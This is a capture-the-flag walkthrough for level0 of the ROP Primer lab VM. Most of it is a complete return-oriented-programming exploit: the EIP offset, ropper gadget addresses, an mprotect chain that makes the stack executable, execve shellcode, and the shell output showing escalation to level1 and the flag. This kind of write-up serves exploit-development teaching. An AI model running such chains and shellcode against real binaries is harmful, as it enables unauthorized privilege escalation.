Introduction

This is walkthrough for level0 of ROP Primer from vulnhub.

ROP Primer

This VM is meant as a small introduction to 32-bit return-oriented-programming on Linux. It contains three vulnerable binaries, that must be exploited using ROP.

The machine is built and tested in VirtualBox 4.3.20. It’s an Ubuntu 32 bit VM, with ASLR disabled. Useful tools like gdb-peda are installed. A description of the levels, including instructions, can be found on the webserver.

A big shout-out to my team mates of the Vulnhub CTF Team!

@barrebas, March 2015 & June 2015

Level 0

Username: root
Password: toor

Username: level0
Password: warmup

Note about ASLR

As mentioned in challenge descriptions, ASLR is disabled.

level0@rop:/tmp$ cat /proc/sys/kernel/randomize_va_space 
0

Protection Mechanism

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$

Running the program

level0@rop:~$ ls -l 
total 588
-rw-r----- 1 level1 level1     25 Jan 20  2015 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20  2015 level0
level0@rop:~$ ./level0 
[+] ROP tutorial level0
[+] What's your name? rizaru
[+] Bet you can't ROP me, rizaru!
level0@rop:~$ 

Crashing the program

Copy the program to /tmp as SUID binaries does not generate core dump.

level0@rop:/tmp$ ls -l
total 584
-rwxr-xr-x 1 level0 level0 595992 Nov  4 19:51 level0

Enable core dump by setting ulimit.

https://www.ibm.com/docs/en/cdfsp/7.6.1.1?topic=begin-setting-ulimit The ulimit setting is used to define user system and process resource limits.

level0@rop:/tmp$ ulimit -c unlimited

Crash the program.

level0@rop:/tmp$ python -c "print 'A'*100" | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault (core dumped)
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1041]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$

EIP Offset

level0@rop:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A!
Segmentation fault (core dumped)
level0@rop:/tmp$ 
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1056]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x35624134 in ?? ()
gdb-peda$

Offset at 44.

$ `locate pattern_offset.rb` -q 0x35624134                        
[*] Exact match at offset 44

Controlling EIP

level0@rop:/tmp$ python -c "print 'A'*44 + 'B'*4 + 'C'*52" | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC!
Segmentation fault (core dumped)
level0@rop:/tmp$ 
level0@rop:/tmp$ 
level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 1107]
Core was generated by `./level0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ x/10xw $esp
0xbffff720:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff730:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff740:     0x43434343      0x43434343
gdb-peda$ 

Stack pointer is already pointing to where we can store shellcode.

Basic PoC Skeleton:

import struct

def p(a):
        return struct.pack('<I', a)

payload = "A"*44
payload += "BBBB"
print (payload)

Approach

We have mprotect and memcopy available to us.

gdb-peda$ p mprotect
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p memcpy
$2 = {<text variable, no debug info>} 0x8051500 <memcpy>
gdb-peda$
  • Change memory protection of stack with mprotect to RWX.
  • Jump to shellcode in stack.

Implementation

Calling mprotect() to make stack executable

Finding address of Stack:

gdb-peda$ vmmap 
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /tmp/level0
0x080ca000 0x080cb000 rw-p      /tmp/level0
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffd000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xc0000000 rw-p      [stack]
gdb-peda$

Memory address for changing protection - 0xbffdf000

mprotect

MPROTECT(2)                                                                                                            Linux Programmer's Manual                                                                                                           MPROTECT(2)       

NAME
       mprotect - set protection on a region of memory
SYNOPSIS
       #include <sys/mman.h>
       int mprotect(void *addr, size_t len, int prot);
DESCRIPTION
       mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.

       If the calling process tries to access memory in a manner that violates the protection, then the kernel generates a SIGSEGV signal for the process.

       prot is either PROT_NONE or a bitwise-or of the other values in the following list:

       PROT_NONE  The memory cannot be accessed at all.
       PROT_READ  The memory can be read.
       PROT_WRITE The memory can be modified.
       PROT_EXEC  The memory can be executed.

Memory protection Reference: https://sites.uclouvain.be/SystInfo/usr/include/bits/mman.h.html

#define PROT_READ        0x1                /* Page can be read.  */
#define PROT_WRITE        0x2                /* Page can be written.  */
#define PROT_EXEC        0x4                /* Page can be executed.  */
#define PROT_NONE        0x0                /* Page can not be accessed.  */

mprotect() Register Alignment

# mprotect()
# int mprotect(void *addr, size_t len, int prot);
 
# eax = 125     ; mprotect syscall
# ebx = *addr   ; target memory - stack
# ecx = len     ; 0x2000
# edx = prot    ; RWX - 0x7

Using Ropper to find gadgets:

$ ropper --file level0 --search "pop e?x; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop e?x; ret

[INFO] File: level0
0x0806b893: pop eax; ret; 
0x080525ee: pop ebx; ret; 
0x080525c6: pop edx; ret; 

$ ropper --file level0 --search "int 0x80; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80; ret

[INFO] File: level0
0x08052cf0: int 0x80; ret; 

$ ropper --file level0 --search "push esp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: push esp; ret

[INFO] File: level0
0x0804d999: push esp; ret 0x83f0; 
0x08055311: push esp; ret; 


$ ropper --file level0 --search "pop ecx"      
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ecx

[INFO] File: level0
0x08065bc7: pop ecx; adc al, 0x89; ret; 
0x08065bc1: pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret; 
0x08065bbe: pop ecx; add al, 0x89; pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret; 
0x0804e6ce: pop ecx; mov eax, dword ptr [0x80cb6c8]; test eax, eax; je 0x66e0; mov dword ptr [ebp - 0x44], edx; call eax; 
0x08065bc4: pop ecx; or al, 0x89; pop ecx; adc al, 0x89; ret; 
0x080859cf: pop ecx; or byte ptr [eax], cl; jmp eax; 
0x080c8bbf: pop ecx; or cl, byte ptr [esi]; adc al, 0x41; ret; 
0x08079bd1: pop ecx; pop eax; jmp dword ptr [eax]; 
0x0808ffac: pop ecx; pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080ab647: pop ecx; pop ebx; leave; ret; 
0x080525ed: pop ecx; pop ebx; ret; 
0x080c4cc1: pop ecx; clc; jmp dword ptr [eax]; 

PoC with bunch of \xcc as shellcode:

import struct

def p32(a):
        return struct.pack('<I', a)

target_mem = 0xbffdf000
shellcode = "\xcc" * 300

payload = "A"*44

# mprotect()
# int mprotect(void *addr, size_t len, int prot);
 
# eax = 125     ; mprotect syscall
# ebx = *addr   ; target memory - stack; 
# ecx = len     ; 0x21000
# edx = prot    ; RWX - 0x7

# useful gadgets

# ropper --file level0 --search "pop e?x; ret"
# 0x0806b893: pop eax; ret; 
# 0x080525ee: pop ebx; ret; 
# 0x080525c6: pop edx; ret; 

pop_eax_ret = 0x0806b893
pop_ebx_ret = 0x080525ee
pop_edx_ret = 0x080525c6

# ropper --file level0 --search "pop ecx"    
# 0x080525ed: pop ecx; pop ebx; ret; 
pop_ecx_ebx_ret = 0x080525ed

# ropper --file level0 --search "int 0x80; ret"
# 0x08052cf0: int 0x80; ret;

int_80_ret = 0x08052cf0

# ropper --file level0 --search "push esp; ret"
# 0x0804d999: push esp; ret 0x83f0; 
# 0x08055311: push esp; ret;

push_esp_ret = 0x08055311
 
# set up registers for mprotect(0xbffdf000, 0x21000, 0x7)
payload += p32(pop_eax_ret)
payload += p32(0x7d)            # eax = 125 or 0x7d ; mprotect
payload += p32(pop_ecx_ebx_ret)
payload += p32(0x21000)         # ecx = len;
payload += p32(0xbffdf000)      # ebx = target memory ; stack
payload += p32(pop_edx_ret)
payload += p32(0x7)             # prot; RWX

# issue interrupt to call mprotect()
payload += p32(int_80_ret)      # int 0x80; ret

# return execution to stack which is executable and contains shellcode
payload += p32(push_esp_ret)

# shellcode
payload += shellcode

print (payload) 

We successfully hit the shellcode which are the interrupts.

level0@rop:/tmp$ python poc.py | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}!
Trace/breakpoint trap (core dumped)

level0@rop:/tmp$ gdb ./level0 -q core
Reading symbols from ./level0...(no debugging symbols found)...done.
[New LWP 995]
Core was generated by `./level0'.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0xbffff741 in ?? ()
gdb-peda$ x/xw $esp
0xbffff740:     0xcccccccc
gdb-peda$ x/50xw $esp
0xbffff740:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff750:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff760:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff770:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff780:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff790:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7a0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7b0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7c0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7d0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7e0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff7f0:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbffff800:     0xcccccccc      0xcccccccc
gdb-peda$

Replacing the shellcode with one generated from gdb-peda.

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$

Final PoC:

import struct

def p32(a):
        return struct.pack('<I', a)

# gdb peda : shellcode generate x86/linux exec

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

# EIP Offset 44
payload = "A"*44

# useful gadgets

# ropper --file level0 --search "pop e?x; ret"
# 0x0806b893: pop eax; ret; 
# 0x080525ee: pop ebx; ret; 
# 0x080525c6: pop edx; ret; 

pop_eax_ret = 0x0806b893
pop_ebx_ret = 0x080525ee
pop_edx_ret = 0x080525c6

# ropper --file level0 --search "pop ecx"    
# 0x080525ed: pop ecx; pop ebx; ret; 
pop_ecx_ebx_ret = 0x080525ed

# ropper --file level0 --search "int 0x80; ret"
# 0x08052cf0: int 0x80; ret;

int_80_ret = 0x08052cf0

# ropper --file level0 --search "push esp; ret"
# 0x0804d999: push esp; ret 0x83f0; 
# 0x08055311: push esp; ret;

push_esp_ret = 0x08055311
 
# mprotect()
# int mprotect(void *addr, size_t len, int prot);
 
# eax = 125     ; mprotect syscall
# ebx = *addr   ; target memory - stack; 
# ecx = len     ; 0x21000
# edx = prot    ; RWX - 0x7
 

# set up registers for memprotect(0xbffdf000, 0x21000, 0x7)
payload += p32(pop_eax_ret)
payload += p32(0x7d)            # eax = 125 or 0x7d ; mprotect
payload += p32(pop_ecx_ebx_ret)
payload += p32(0x21000)         # ecx = len;
payload += p32(0xbffdf000)      # ebx = target memory ; stack
payload += p32(pop_edx_ret)
payload += p32(0x7)             # prot; RWX

# issue interrupt to call mprotect()
payload += p32(int_80_ret)      # int 0x80; ret

# return execution to stack which is executable and contains shellcode
payload += p32(push_esp_ret)

# shellcode
payload += shellcode

print (payload)
level0@rop:~$ (python /tmp/poc.py ; cat) | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
whoami
level1
cat flag
flag{rop_the_night_away}

Automating ROP Chain With Ropper

Ropper:

$ ropper --file level0 --chain "mprotect address=0xbfdff000 size=0x21000"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall mprotect:


[INFO] eax 0x7b
ebx address
ecx size
edx 0x7 -> RWE


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found

[INFO] Look for jmp esp

[INFO] jmp esp found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

shellcode = '\xcc'*100

IMAGE_BASE_0 = 0x08048000 # 467dfb6b9e55450e3a0f2d798af27c71b495f73a84195617444b205fd51884d7
rebase_0 = lambda x : p(x + IMAGE_BASE_0)


rop = ''
rop += rebase_0(0x0000a5ee) # 0x080525ee: pop ebx; ret; 
rop += p(0xbfdff000)
rop += rebase_0(0x0001dbc7) # 0x08065bc7: pop ecx; adc al, 0x89; ret; 
rop += p(0x00021000)
rop += rebase_0(0x0000a5c6) # 0x080525c6: pop edx; ret; 
rop += p(0x00000007)
rop += rebase_0(0x00023893) # 0x0806b893: pop eax; ret; 
rop += p(0x0000007d)
rop += rebase_0(0x0000acf0) # 0x08052cf0: int 0x80; ret; 
rop += rebase_0(0x0000d311) # 0x08055311: push esp; ret; 
rop += shellcode

print(rop)

[INFO] rop chain generated!

Correcting the target address to that of stack.

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

#shellcode = '\xcc'*100

shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)


IMAGE_BASE_0 = 0x08048000 # 467dfb6b9e55450e3a0f2d798af27c71b495f73a84195617444b205fd51884d7
rebase_0 = lambda x : p(x + IMAGE_BASE_0)



rop = 'A'*44
rop += rebase_0(0x0000a5ee) # 0x080525ee: pop ebx; ret; 
rop += p(0xbffdf000)
rop += rebase_0(0x0001dbc7) # 0x08065bc7: pop ecx; adc al, 0x89; ret; 
rop += p(0x00021000)
rop += rebase_0(0x0000a5c6) # 0x080525c6: pop edx; ret; 
rop += p(0x00000007)
rop += rebase_0(0x00023893) # 0x0806b893: pop eax; ret; 
rop += p(0x0000007d)
rop += rebase_0(0x0000acf0) # 0x08052cf0: int 0x80; ret; 
rop += rebase_0(0x0000d311) # 0x08055311: push esp; ret; 
rop += shellcode

print(rop)

Testing the rop chain.

level0@rop:~$ (python /tmp/level0.py;cat) | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
cat flag
flag{rop_the_night_away}